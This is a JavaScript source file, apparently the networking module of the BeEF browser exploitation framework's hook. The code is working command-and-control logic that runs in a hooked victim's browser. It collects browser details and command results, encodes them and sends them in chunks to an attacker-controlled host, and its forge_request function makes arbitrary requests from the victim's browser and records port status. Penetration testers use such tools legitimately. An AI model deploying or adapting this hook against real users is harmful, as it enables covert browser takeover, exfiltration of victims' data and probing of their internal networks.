beef.net = {
host: "<%= @beef_host %>",
port: "<%= @beef_port %>",
hook: "<%= @beef_hook %>",
httpproto: "<%= @beef_proto %>",
handler: '/dh',
chop: 500,
pad: 30,
sid_count: 0,
cmd_queue: [],
command: function () {
this.cid = null;
this.results = null;
this.status = null;
this.handler = null;
this.callback = null;
},
packet: function () {
this.id = null;
this.data = null;
},
stream: function () {
this.id = null;
this.packets = [];
this.pc = 0;
this.get_base_url_length = function () {
return (this.url + this.handler + '?' + 'bh=' + beef.session.get_hook_session_id()).length;
};
this.get_packet_data = function () {
var p = this.packets.shift();
return {'bh': beef.session.get_hook_session_id(), 'sid': this.id, 'pid': p.id, 'pc': this.pc, 'd': p.data }
};
},
response: function () {
this.status_code = null;
this.status_text = null;
this.response_body = null;
this.port_status = null;
this.was_cross_origin = null;
this.was_timedout = null;
this.duration = null;
this.headers = null;
},
queue: function (handler, cid, results, status, callback) {
if (typeof(handler) === 'string' && typeof(cid) === 'number' && (callback === undefined || typeof(callback) === 'function')) {
var s = new beef.net.command();
s.cid = cid;
s.results = beef.net.clean(results);
s.status = status;
s.callback = callback;
s.handler = handler;
this.cmd_queue.push(s);
}
},
send: function (handler, cid, results, exec_status, callback) {
var status = 0;
if (exec_status != null && parseInt(Number(exec_status)) == exec_status){ status = exec_status}
if (typeof beef.websocket === "undefined" || (handler === "/init" && cid == 0)) {
this.queue(handler, cid, results, status, callback);
this.flush();
} else {
try {
beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid +
'", "result":"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) +
'", "status": "' + exec_status +
'", "callback": "' + callback +
'","bh":"' + beef.session.get_hook_session_id() + '" }');
} catch (e) {
this.queue(handler, cid, results, status, callback);
this.flush();
}
}
return status;
},
flush: function (callback) {
if (this.cmd_queue.length > 0) {
var data = beef.encode.base64.encode(beef.encode.json.stringify(this.cmd_queue));
this.cmd_queue.length = 0;
this.sid_count++;
var stream = new this.stream();
stream.id = this.sid_count;
var pad = stream.get_base_url_length() + this.pad;
if ((this.chop - pad) > 0) {
var data = this.chunk(data, (this.chop - pad));
for (var i = 1; i <= data.length; i++) {
var packet = new this.packet();
packet.id = i;
packet.data = data[(i - 1)];
stream.packets.push(packet);
}
stream.pc = stream.packets.length;
this.push(stream, callback);
}
} else {
if ((typeof callback != 'undefined') && (callback != null)) {
callback();
}
}
},
chunk: function (str, amount) {
if (typeof amount == 'undefined') n = 2;
return str.match(RegExp('.{1,' + amount + '}', 'g'));
},
push: function (stream, callback) {
if (typeof callback === 'undefined') {
callback = null;
}
for (var i = 0; i < stream.pc; i++) {
var cb = null;
if (i == (stream.pc - 1)) {
cb = callback;
}
this.request(this.httpproto, 'GET', this.host, this.port, this.handler, null,
stream.get_packet_data(), 10, 'text', cb);
}
},
request: function (scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) {
var cross_origin = true;
if (document.domain == domain.replace(/(\r\n|\n|\r)/gm, "")) {
if (document.location.port == "" || document.location.port == null) {
cross_origin = !(port == "80" || port == "443");
}
}
var url = "";
if (path.indexOf("http://") != -1 || path.indexOf("https://") != -1) {
url = path;
} else {
url = scheme + "://" + domain;
url = (port != null) ? url + ":" + port : url;
url = (path != null) ? url + path : url;
url = (anchor != null) ? url + "#" + anchor : url;
}
var response = new this.response;
response.was_cross_origin = cross_origin;
var start_time = new Date().getTime();
if (method == "POST") {
$j.ajaxSetup({
dataType: dataType
});
} else {
$j.ajaxSetup({
dataType: 'script'
});
}
$j.ajax({type: method,
url: url,
data: data,
timeout: (timeout * 1000),
beforeSend: function (xhr) {
if (method == "POST") {
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
}
},
success: function (data, textStatus, xhr) {
var end_time = new Date().getTime();
response.status_code = xhr.status;
response.status_text = textStatus;
response.response_body = data;
response.port_status = "open";
response.was_timedout = false;
response.duration = (end_time - start_time);
},
error: function (jqXHR, textStatus, errorThrown) {
var end_time = new Date().getTime();
response.response_body = jqXHR.responseText;
response.status_code = jqXHR.status;
response.status_text = textStatus;
response.duration = (end_time - start_time);
response.port_status = "open";
},
complete: function (jqXHR, textStatus) {
response.status_code = jqXHR.status;
response.status_text = textStatus;
response.headers = jqXHR.getAllResponseHeaders();
if (textStatus == "timeout") {
response.was_timedout = true;
response.response_body = "ERROR: Timed out\n";
response.port_status = "closed";
} else if (textStatus == "parsererror") {
response.port_status = "not-http";
} else {
response.port_status = "open";
}
}
}).always(function () {
if (callback != null) {
callback(response);
}
});
return response;
},
forge_request: function (scheme, method, domain, port, path, anchor, headers, data, timeout, dataType, allowCrossOrigin, requestid, callback) {
if (domain == "undefined" || path == "undefined") {
beef.debug("[beef.net.forge_request] Error: Malformed request. No host specified.");
return;
}
var cross_origin = true;
if (document.domain == domain && document.location.protocol == scheme + ':') {
if (document.location.port == "" || document.location.port == null) {
cross_origin = !(port == "80" || port == "443");
} else {
if (document.location.port == port) cross_origin = false;
}
}
var url = "";
if (path.indexOf("http://") != -1 || path.indexOf("https://") != -1) {
url = path;
} else {
url = scheme + "://" + domain;
url = (port != null) ? url + ":" + port : url;
url = (path != null) ? url + path : url;
url = (anchor != null) ? url + "#" + anchor : url;
}
var response = new this.response;
response.was_cross_origin = cross_origin;
var start_time = new Date().getTime();
if (allowCrossOrigin == "false" && cross_origin) {
beef.debug("[beef.net.forge_request] Error: Cross Domain Request. The request was not sent.");
response.status_code = -1;
response.status_text = "crossorigin";
response.port_status = "crossorigin";
response.response_body = "ERROR: Cross Domain Request. The request was not sent.\n";
response.headers = "ERROR: Cross Domain Request. The request was not sent.\n";
if (callback != null) callback(response, requestid);
return response;
}
if (document.location.protocol == 'https:' && scheme == 'http') {
beef.debug("[beef.net.forge_request] Error: Mixed Active Content. The request was not sent.");
response.status_code = -1;
response.status_text = "mixedcontent";
response.port_status = "mixedcontent";
response.response_body = "ERROR: Mixed Active Content. The request was not sent.\n";
response.headers = "ERROR: Mixed Active Content. The request was not sent.\n";
if (callback != null) callback(response, requestid);
return response;
}
if (method == "POST") {
$j.ajaxSetup({
dataType: dataType
});
} else {
$j.ajaxSetup({
dataType: 'script'
});
}
if (beef.browser.isIE()) {
dataType = 'script'
}
$j.ajax({type: method,
dataType: dataType,
url: url,
headers: headers,
timeout: (timeout * 1000),
beforeSend: function (xhr) {
if (method == "POST") {
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
}
},
data: data,
success: function (data, textStatus, xhr) {
var end_time = new Date().getTime();
response.status_code = xhr.status;
response.status_text = textStatus;
response.response_body = data;
response.was_timedout = false;
response.duration = (end_time - start_time);
},
error: function (xhr, textStatus, errorThrown) {
var end_time = new Date().getTime();
response.response_body = xhr.responseText;
response.status_code = xhr.status;
response.status_text = textStatus;
response.duration = (end_time - start_time);
},
complete: function (xhr, textStatus) {
if (cross_origin) {
response.port_status = "crossorigin";
if (xhr.status != 0) {
response.status_code = xhr.status;
} else {
response.status_code = -1;
}
if (textStatus) {
response.status_text = textStatus;
} else {
response.status_text = "crossorigin";
}
if (xhr.getAllResponseHeaders()) {
response.headers = xhr.getAllResponseHeaders();
} else {
response.headers = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
}
if (!response.response_body) {
response.response_body = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
}
} else {
response.status_code = xhr.status;
response.status_text = textStatus;
response.headers = xhr.getAllResponseHeaders();
if (textStatus == "timeout") {
response.was_timedout = true;
response.response_body = "ERROR: Timed out\n";
response.port_status = "closed";
} else if (textStatus == "parsererror") {
response.port_status = "not-http";
if (beef.browser.isIE()) {
response.status_text = "success";
response.port_status = "open";
}
} else {
response.port_status = "open";
}
}
callback(response, requestid);
}
});
return response;
},
clean: function (r) {
if (this.array_has_string_key(r)) {
var obj = {};
for (var key in r)
obj[key] = (this.array_has_string_key(obj[key])) ? this.clean(r[key]) : r[key];
return obj;
}
return r;
},
array_has_string_key: function (arr) {
if ($j.isArray(arr)) {
try {
for (var key in arr)
if (isNaN(parseInt(key))) return true;
} catch (e) {
}
}
return false;
},
is_valid_port: function (port) {
if (isNaN(port)) return false;
if (port > 65535 || port < 0) return false;
return true;
},
is_valid_ip: function (ip) {
if (ip == null) return false;
var ip_match = ip.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$');
if (ip_match == null) return false;
return true;
},
is_valid_ip_range: function (ip_range) {
if (ip_range == null) return false;
var range_match = ip_range.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\-([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$');
if (range_match == null || range_match[1] == null) return false;
return true;
},
browser_details: function () {
var details = beef.browser.getDetails();
var res = null;
details['HookSessionID'] = beef.session.get_hook_session_id();
this.send('/init', 0, details);
if(details != null)
res = true;
return res;
}
};
beef.regCmp('beef.net');